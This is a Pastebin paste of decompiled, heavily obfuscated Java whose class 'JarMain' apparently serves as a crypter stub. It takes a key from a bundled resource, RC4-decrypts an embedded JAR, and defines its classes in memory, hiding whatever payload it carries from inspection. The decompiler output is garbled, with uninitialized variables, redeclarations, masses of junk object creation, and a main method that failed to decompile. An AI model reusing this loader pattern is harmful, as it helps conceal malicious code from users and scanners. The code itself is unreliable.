Guest User

Untitled

a guest
Jun 28th, 2014
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 16.39 KB | None | 0 0
  1. /*
  2.  * Decompiled with CFR 0_79.
  3.  */
  4. package load;
  5.  
  6. import java.io.BufferedReader;
  7. import java.io.ByteArrayInputStream;
  8. import java.io.ByteArrayOutputStream;
  9. import java.io.IOException;
  10. import java.io.InputStream;
  11. import java.io.InputStreamReader;
  12. import java.io.Reader;
  13. import java.util.HashMap;
  14. import java.util.jar.JarEntry;
  15. import java.util.jar.JarInputStream;
  16.  
  17. public class JarMain
  18. extends ClassLoader {
  19.     private HashMap<String, byte[]> int;
  20.     private HashMap<String, Class> ALLATORIxDEMOxUnrecomClassLoader;
  21.  
  22.     private Class ALLATORIxDEMOxUnrecomClassLoader(String a, byte[] a2)
  23.     {
  24.         JarMain a3;
  25.         byte[] arrby = a2;
  26.         return a3.defineClass(a, arrby, 0, arrby.length);
  27.     }
  28.  
  29.     /*
  30.      * Enabled aggressive block sorting
  31.      * Enabled unnecessary exception pruning
  32.      */
  33.     @Override
  34.     public Class findClass(String a)
  35.     {
  36.         JarMain a2;
  37.         Class a3 = a2.ALLATORIxDEMOxUnrecomClassLoader.get(a);
  38.         if (a2.ALLATORIxDEMOxUnrecomClassLoader.get(a) != null) {
  39.             Class class_ = a3;
  40.             a2.resolveClass(class_);
  41.             return class_;
  42.         }
  43.         try {
  44.             return a2.findSystemClass(a);
  45.         }
  46.         catch (ClassNotFoundException a)
  47.         {
  48.             a  = new StringBuilder();
  49.             StringBuilder a4 = new StringBuilder();
  50.             StringBuilder a5 = new StringBuilder();
  51.             StringBuilder a6 = new StringBuilder();
  52.             StringBuilder a7 = new StringBuilder();
  53.             StringBuilder a8 = new StringBuilder();
  54.             StringBuilder a9 = new StringBuilder();
  55.             StringBuilder a10 = new StringBuilder();
  56.             StringBuilder a11 = new StringBuilder();
  57.             StringBuilder a12 = new StringBuilder();
  58.             StringBuilder a13 = new StringBuilder();
  59.             byte[] a14 = a2.int.get(a);
  60.             JarMain jarMain = a2;
  61.             a3 = jarMain.ALLATORIxDEMOxUnrecomClassLoader(a, a14);
  62.             jarMain.ALLATORIxDEMOxUnrecomClassLoader.put(a, a3);
  63.             return a3;
  64.         }
  65.     }
  66.  
  67.     public synchronized void class() throws IOException
  68.     {
  69.         int a;
  70.         JarMain a2;
  71.         JarMain jarMain = a2;
  72.         InputStream a3 = jarMain.getClass().getResourceAsStream(JarMain.ALLATORIxDEMOxUnrecomClassLoader("t2"));
  73.         String a4 = jarMain.ALLATORIxDEMOxUnrecomClassLoader(a3);
  74.         a3 = jarMain.ALLATORIxDEMOxUnrecomClassLoader();
  75.         byte[] a5 = new byte[1024];
  76.         ByteArrayOutputStream a6 = new ByteArrayOutputStream();
  77.         InputStream inputStream = a3;
  78.         while ((a = inputStream.read(a5)) > -1) {
  79.             inputStream = a3;
  80.             a6.write(a5, 0, a);
  81.         }
  82.         a6.close();
  83.         JarMain jarMain2 = a2;
  84.         a3.close();
  85.         JarInputStream a7 = jarMain2.ALLATORIxDEMOxUnrecomClassLoader(a6.toByteArray(), a4);
  86.         JarEntry a8 = jarMain2.class(a7);
  87.         do {
  88.             if (a8.isDirectory()) continue;
  89.             JarEntry a9 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  90.             JarEntry a10 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  91.             JarEntry a11 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  92.             JarEntry a12 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  93.             String a13 = a2.ALLATORIxDEMOxUnrecomClassLoader(a8);
  94.             JarEntry a14 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  95.             JarEntry a15 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  96.             StringBuilder a16 = new StringBuilder();
  97.             StringBuilder a17 = new StringBuilder();
  98.             StringBuilder a18 = new StringBuilder();
  99.             ByteArrayOutputStream a19 = new ByteArrayOutputStream();
  100.             JarInputStream jarInputStream = a7;
  101.             while ((a = jarInputStream.read(a5)) > -1) {
  102.                 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[]{1});
  103.                 jarInputStream = a7;
  104.                 a19.write(a5, 0, a);
  105.             }
  106.             a19.close();
  107.             ByteArrayInputStream a20 = new ByteArrayInputStream(new byte[]{1});
  108.             a2.ALLATORIxDEMOxUnrecomClassLoader(a7);
  109.             a2.int.put(a13, a19.toByteArray());
  110.         } while ((a8 = a7.getNextJarEntry()) != null);
  111.         a7.close();
  112.     }
  113.  
  114.     private byte[] class(byte[] a, String a2)
  115.     {
  116.         String a3 = new StringBuilder().insert(0, a2).append(JarMain.ALLATORIxDEMOxUnrecomClassLoader("9sJ\u0005\u00056v![\u001f`,\u000e!\u000f=")).toString();
  117.         byte[] a4 = a;
  118.         int[] a5 = new int[257];
  119.         int[] a6 = new int[257];
  120.         int a7 = 0, a8 = 0, a10 = 0, a11 = 0, n = 0;
  121.         char a9 = '\u0000', a12 = '\u0000';
  122.        
  123.         while (n < 256)
  124.         {
  125.             int n2 = a7++;
  126.             a5[n2] = n2;
  127.             n = a7;
  128.         }
  129.        
  130.         int n3 = 0, a7 = 0;
  131.        
  132.         while (n3 < 256)
  133.         {
  134.             if (a8 == a3.length())
  135.                 a8 = 0;
  136.                
  137.             char c = a3.charAt(a8);
  138.             a8++;
  139.            
  140.             a6[a7] = c;
  141.             a7++;
  142.            
  143.             n3 = a7;
  144.         }
  145.        
  146.         a8 = 0;
  147.         int n4 = 0, a7 = 0;
  148.        
  149.         while (n4 < 256)
  150.         {
  151.             a8 = (a8 + a5[a7] + a6[a7]) % 256;
  152.             int[] arrn = a5, arrn2 = a5;
  153.            
  154.             a12 = (char)arrn[a7];
  155.            
  156.             arrn[a7] = arrn2[a8];
  157.             arrn2[a8] = a12;
  158.            
  159.             a7++;
  160.             n4 = a7;
  161.         }
  162.        
  163.         a8 = a7 = 0;
  164.         int n5 = 0;
  165.        
  166.         while (n5 < a4.length)
  167.         {
  168.             a7 = (a7 + 1) % 256;
  169.             a8 = (a8 + a5[a7]) % 256;
  170.            
  171.             int[] arrn = a5, arrn3 = a5;
  172.            
  173.             a12 = (char)arrn[a7];
  174.            
  175.             arrn[a7] = arrn3[a8];
  176.             arrn3[a8] = a12;
  177.            
  178.             a10 = (arrn[a7] + a5[a8]) % 256;
  179.             a9 = (char)arrn[a10];
  180.            
  181.             byte[] arrby = a4;
  182.             byte by = (byte)(arrby[a11] ^ a9);
  183.            
  184.             a11++;
  185.             arrby[a11] = by;
  186.            
  187.             n5 = a11;
  188.         }
  189.        
  190.         return a4;
  191.     }
  192.  
  193.     @Override
  194.     public Class loadClass(String a) throws ClassNotFoundException
  195.     {
  196.         JarMain a2;
  197.         return a2.findClass(a);
  198.     }
  199.  
  200.     public JarMain() throws IOException
  201.     {
  202.         JarMain a;
  203.         JarMain jarMain = a;
  204.         super(JarMain.class.getClassLoader());
  205.         JarMain jarMain2 = a;
  206.         new java.util.HashMap<java.lang.String, java.lang.Class>();
  207.         jarMain.ALLATORIxDEMOxUnrecomClassLoader = new java.util.HashMap<java.lang.String, java.lang.Class>;
  208.         JarMain jarMain3 = a;
  209.         jarMain2.int = new HashMap<String, byte[]>();
  210.         jarMain.class();
  211.     }
  212.  
  213.     private String ALLATORIxDEMOxUnrecomClassLoader(JarEntry a)
  214.     {
  215.         JarEntry a2 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  216.         JarEntry a3 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  217.         JarEntry a4 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  218.         JarEntry a5 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  219.         String a6 = a.getName();
  220.         JarEntry a7 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  221.         JarEntry a8 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  222.         a6 = a6.replace((CharSequence)JarMain.ALLATORIxDEMOxUnrecomClassLoader("Y"), (CharSequence)JarMain.ALLATORIxDEMOxUnrecomClassLoader("X"));
  223.         JarEntry a9 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  224.         JarEntry a10 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  225.         a6 = a6.replace((CharSequence)JarMain.ALLATORIxDEMOxUnrecomClassLoader("\u001c\u001aV\u0010N\u0005"), (CharSequence)"");
  226.         JarEntry a11 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  227.         JarEntry a12 = new JarEntry(JarMain.ALLATORIxDEMOxUnrecomClassLoader("Q\u0016LDt4D\u0018\u0014\u0002H\u0018"));
  228.         return a6;
  229.     }
  230.  
  231.     private /* synthetic */ InputStream ALLATORIxDEMOxUnrecomClassLoader() {
  232.         JarMain a;
  233.         return a.getClass().getResourceAsStream(new StringBuilder(JarMain.ALLATORIxDEMOxUnrecomClassLoader(":0\u0018M\u0001w?h$_\u0018\u001d\u001d[\u001eQY")).reverse().toString());
  234.     }
  235.  
  236.     public static String ALLATORIxDEMOxUnrecomClassLoader(String a)
  237.     {
  238.         char[] arrc;
  239.         block3 : {
  240.             StackTraceElement stackTraceElement = new Exception().getStackTrace()[1];
  241.             String string = new StringBuffer(stackTraceElement.getMethodName()).append(stackTraceElement.getClassName()).toString();
  242.             int n = a.length();
  243.             int n2 = n - 1;
  244.             char[] arrc2 = new char[n];
  245.             int n3 = 5 << 4 ^ 3;
  246.             1 << 3 ^ 3;
  247.             int n4 = 3 << 3;
  248.             int n5 = string.length() - 1;
  249.             int n6 = string.length() - 1;
  250.             int n7 = n2;
  251.             String string2 = string;
  252.             while (n7 >= 0) {
  253.                 int n8 = n2--;
  254.                 arrc2[n8] = (char)(n4 ^ a.charAt(n8) ^ string2.charAt(n5));
  255.                 if (n2 < 0) {
  256.                     arrc = arrc2;
  257.                     break block3;
  258.                 }
  259.                 int n9 = n2--;
  260.                 char c = (char)(n3 ^ a.charAt(n9) ^ string2.charAt(n5));
  261.                 arrc2[n9] = c;
  262.                 if (--n5 < 0) {
  263.                     n5 = n6;
  264.                 }
  265.                 n7 = n2;
  266.             }
  267.             arrc = arrc2;
  268.         }
  269.         return new String(arrc);
  270.     }
  271.  
  272.     private JarInputStream ALLATORIxDEMOxUnrecomClassLoader(byte[] a, String a2) throws IOException
  273.     {
  274.         JarMain a3;
  275.         StringBuilder a4 = new StringBuilder();
  276.         ByteArrayInputStream a5 = new ByteArrayInputStream(new byte[]{1});
  277.         StringBuilder a6 = new StringBuilder();
  278.         ByteArrayInputStream a7 = new ByteArrayInputStream(new byte[]{1});
  279.         StringBuilder a8 = new StringBuilder();
  280.         ByteArrayInputStream a9 = new ByteArrayInputStream(new byte[]{1});
  281.         StringBuilder a10 = new StringBuilder();
  282.         ByteArrayInputStream a11 = new ByteArrayInputStream(new byte[]{1});
  283.         StringBuilder a12 = new StringBuilder();
  284.         ByteArrayInputStream a13 = new ByteArrayInputStream(new byte[]{1});
  285.         StringBuilder a14 = new StringBuilder();
  286.         ByteArrayInputStream a15 = new ByteArrayInputStream(new byte[]{1});
  287.         StringBuilder a16 = new StringBuilder();
  288.         return new JarInputStream(new ByteArrayInputStream(a3.class(a, a2)));
  289.     }
  290.  
  291.     @Override
  292.     public InputStream getResourceAsStream(String a)
  293.     {
  294.         byte[] a2 = a.int.get(a.replace((CharSequence)JarMain.ALLATORIxDEMOxUnrecomClassLoader("Y"), (CharSequence)JarMain.ALLATORIxDEMOxUnrecomClassLoader("X")).replace((CharSequence)JarMain.ALLATORIxDEMOxUnrecomClassLoader("\u001c\u001aV\u0010N\u0005"), (CharSequence)""));
  295.        
  296.         if (a.int.get(a.replace((CharSequence)JarMain.ALLATORIxDEMOxUnrecomClassLoader("Y"), (CharSequence)JarMain.ALLATORIxDEMOxUnrecomClassLoader("X")).replace((CharSequence)JarMain.ALLATORIxDEMOxUnrecomClassLoader("\u001c\u001aV\u0010N\u0005"), (CharSequence)"")) == null)
  297.             return null;
  298.         return new ByteArrayInputStream(a2);
  299.     }
  300.  
  301.     /*
  302.      * Exception decompiling
  303.      */
  304.     public static void main(String[] varnull) throws Exception
  305.     {
  306.         // This method has failed to decompile.  When submitting a bug report, please provide this stack trace, and (if you hold appropriate legal rights) the relevant class file.
  307.         // java.lang.ClassCastException: org.benf.cfr.reader.bytecode.analysis.parse.statement.Nop cannot be cast to org.benf.cfr.reader.bytecode.analysis.parse.statement.AssignmentSimple
  308.         // org.benf.cfr.reader.bytecode.analysis.opgraph.Op03SimpleStatement.resugarAnonymousArray(Op03SimpleStatement.java:6160)
  309.         // org.benf.cfr.reader.bytecode.analysis.opgraph.Op03SimpleStatement.resugarAnonymousArrays(Op03SimpleStatement.java:6255)
  310.         // org.benf.cfr.reader.bytecode.CodeAnalyser.getAnalysisInner(CodeAnalyser.java:470)
  311.         // org.benf.cfr.reader.bytecode.CodeAnalyser.getAnalysisOrWrapFail(CodeAnalyser.java:185)
  312.         // org.benf.cfr.reader.bytecode.CodeAnalyser.getAnalysis(CodeAnalyser.java:143)
  313.         // org.benf.cfr.reader.entities.attributes.AttributeCode.analyse(AttributeCode.java:78)
  314.         // org.benf.cfr.reader.entities.Method.analyse(Method.java:364)
  315.         // org.benf.cfr.reader.entities.ClassFile.analyseMid(ClassFile.java:683)
  316.         // org.benf.cfr.reader.entities.ClassFile.analyseTop(ClassFile.java:616)
  317.         // org.benf.cfr.reader.Main.doJar(Main.java:116)
  318.         // org.benf.cfr.reader.Main.main(Main.java:167)
  319.         throw new IllegalStateException("Decompilation failed");
  320.     }
  321.  
  322.     private JarEntry class(JarInputStream a) throws IOException
  323.     {
  324.         return a.getNextJarEntry();
  325.     }
  326.  
  327.     private String ALLATORIxDEMOxUnrecomClassLoader(InputStream a) throws IOException
  328.     {
  329.         StringBuilder a2 = new StringBuilder();
  330.         ByteArrayInputStream a3 = new ByteArrayInputStream(new byte[]{1});
  331.         StringBuilder a4 = new StringBuilder();
  332.         ByteArrayInputStream a5 = new ByteArrayInputStream(new byte[]{1});
  333.         StringBuilder a6 = new StringBuilder();
  334.         ByteArrayInputStream a7 = new ByteArrayInputStream(new byte[]{1});
  335.         StringBuilder a8 = new StringBuilder();
  336.         ByteArrayInputStream a9 = new ByteArrayInputStream(new byte[]{1});
  337.         StringBuilder a10 = new StringBuilder();
  338.         ByteArrayInputStream a11 = new ByteArrayInputStream(new byte[]{1});
  339.         StringBuilder a12 = new StringBuilder();
  340.         ByteArrayInputStream a13 = new ByteArrayInputStream(new byte[]{1});
  341.         StringBuilder a14 = new StringBuilder();
  342.         ByteArrayInputStream a15 = new ByteArrayInputStream(new byte[]{1});
  343.         StringBuilder a16 = new StringBuilder();
  344.         ByteArrayInputStream a17 = new ByteArrayInputStream(new byte[]{1});
  345.         StringBuilder a18 = new StringBuilder();
  346.         ByteArrayInputStream a19 = new ByteArrayInputStream(new byte[]{1});
  347.         StringBuilder a20 = new StringBuilder();
  348.         ByteArrayInputStream a21 = new ByteArrayInputStream(new byte[]{1});
  349.         InputStreamReader a22 = new InputStreamReader(a);
  350.         StringBuilder a23 = new StringBuilder();
  351.         ByteArrayInputStream a24 = new ByteArrayInputStream(new byte[]{1});
  352.         StringBuilder a25 = new StringBuilder();
  353.         ByteArrayInputStream a26 = new ByteArrayInputStream(new byte[]{1});
  354.         StringBuilder a27 = new StringBuilder();
  355.         ByteArrayInputStream a28 = new ByteArrayInputStream(new byte[]{1});
  356.         StringBuilder a29 = new StringBuilder();
  357.         ByteArrayInputStream a30 = new ByteArrayInputStream(new byte[]{1});
  358.         StringBuilder a31 = new StringBuilder();
  359.         ByteArrayInputStream a32 = new ByteArrayInputStream(new byte[]{1});
  360.         StringBuilder a33 = new StringBuilder();
  361.         ByteArrayInputStream a34 = new ByteArrayInputStream(new byte[]{1});
  362.         StringBuilder a35 = new StringBuilder();
  363.         ByteArrayInputStream a36 = new ByteArrayInputStream(new byte[]{1});
  364.         StringBuilder a37 = new StringBuilder();
  365.         ByteArrayInputStream a38 = new ByteArrayInputStream(new byte[]{1});
  366.         StringBuilder a39 = new StringBuilder();
  367.         ByteArrayInputStream a40 = new ByteArrayInputStream(new byte[]{1});
  368.         StringBuilder a41 = new StringBuilder();
  369.         ByteArrayInputStream a42 = new ByteArrayInputStream(new byte[]{1});
  370.         BufferedReader a43 = new BufferedReader(a22);
  371.         StringBuilder a44 = new StringBuilder();
  372.         ByteArrayInputStream a45 = new ByteArrayInputStream(new byte[]{1});
  373.         StringBuilder a46 = new StringBuilder();
  374.         ByteArrayInputStream a47 = new ByteArrayInputStream(new byte[]{1});
  375.         StringBuilder a48 = new StringBuilder();
  376.         ByteArrayInputStream a49 = new ByteArrayInputStream(new byte[]{1});
  377.         StringBuilder a50 = new StringBuilder();
  378.         ByteArrayInputStream a51 = new ByteArrayInputStream(new byte[]{1});
  379.         StringBuilder a52 = new StringBuilder();
  380.         ByteArrayInputStream a53 = new ByteArrayInputStream(new byte[]{1});
  381.         StringBuilder a54 = new StringBuilder();
  382.         ByteArrayInputStream a55 = new ByteArrayInputStream(new byte[]{1});
  383.         StringBuilder a56 = new StringBuilder();
  384.         ByteArrayInputStream a57 = new ByteArrayInputStream(new byte[]{1});
  385.         StringBuilder a58 = new StringBuilder();
  386.         ByteArrayInputStream a59 = new ByteArrayInputStream(new byte[]{1});
  387.         StringBuilder a60 = new StringBuilder();
  388.         ByteArrayInputStream a61 = new ByteArrayInputStream(new byte[]{1});
  389.         StringBuilder a62 = new StringBuilder();
  390.         ByteArrayInputStream a63 = new ByteArrayInputStream(new byte[]{1});
  391.         String a64 = a43.readLine();
  392.         StringBuilder a65 = new StringBuilder();
  393.         ByteArrayInputStream a66 = new ByteArrayInputStream(new byte[]{1});
  394.         StringBuilder a67 = new StringBuilder();
  395.         ByteArrayInputStream a68 = new ByteArrayInputStream(new byte[]{1});
  396.         StringBuilder a69 = new StringBuilder();
  397.         ByteArrayInputStream a70 = new ByteArrayInputStream(new byte[]{1});
  398.         StringBuilder a71 = new StringBuilder();
  399.         ByteArrayInputStream a72 = new ByteArrayInputStream(new byte[]{1});
  400.         StringBuilder a73 = new StringBuilder();
  401.         ByteArrayInputStream a74 = new ByteArrayInputStream(new byte[]{1});
  402.         StringBuilder a75 = new StringBuilder();
  403.         ByteArrayInputStream a76 = new ByteArrayInputStream(new byte[]{1});
  404.         StringBuilder a77 = new StringBuilder();
  405.         ByteArrayInputStream a78 = new ByteArrayInputStream(new byte[]{1});
  406.         StringBuilder a79 = new StringBuilder();
  407.         ByteArrayInputStream a80 = new ByteArrayInputStream(new byte[]{1});
  408.         StringBuilder a81 = new StringBuilder();
  409.         ByteArrayInputStream a82 = new ByteArrayInputStream(new byte[]{1});
  410.         StringBuilder a83 = new StringBuilder();
  411.         ByteArrayInputStream a84 = new ByteArrayInputStream(new byte[]{1});
  412.         return a64;
  413.     }
  414.  
  415.     private void ALLATORIxDEMOxUnrecomClassLoader(JarInputStream a) throws IOException
  416.     {
  417.         a.closeEntry();
  418.     }
  419. }
Advertisement
Add Comment
Please, Sign In to add comment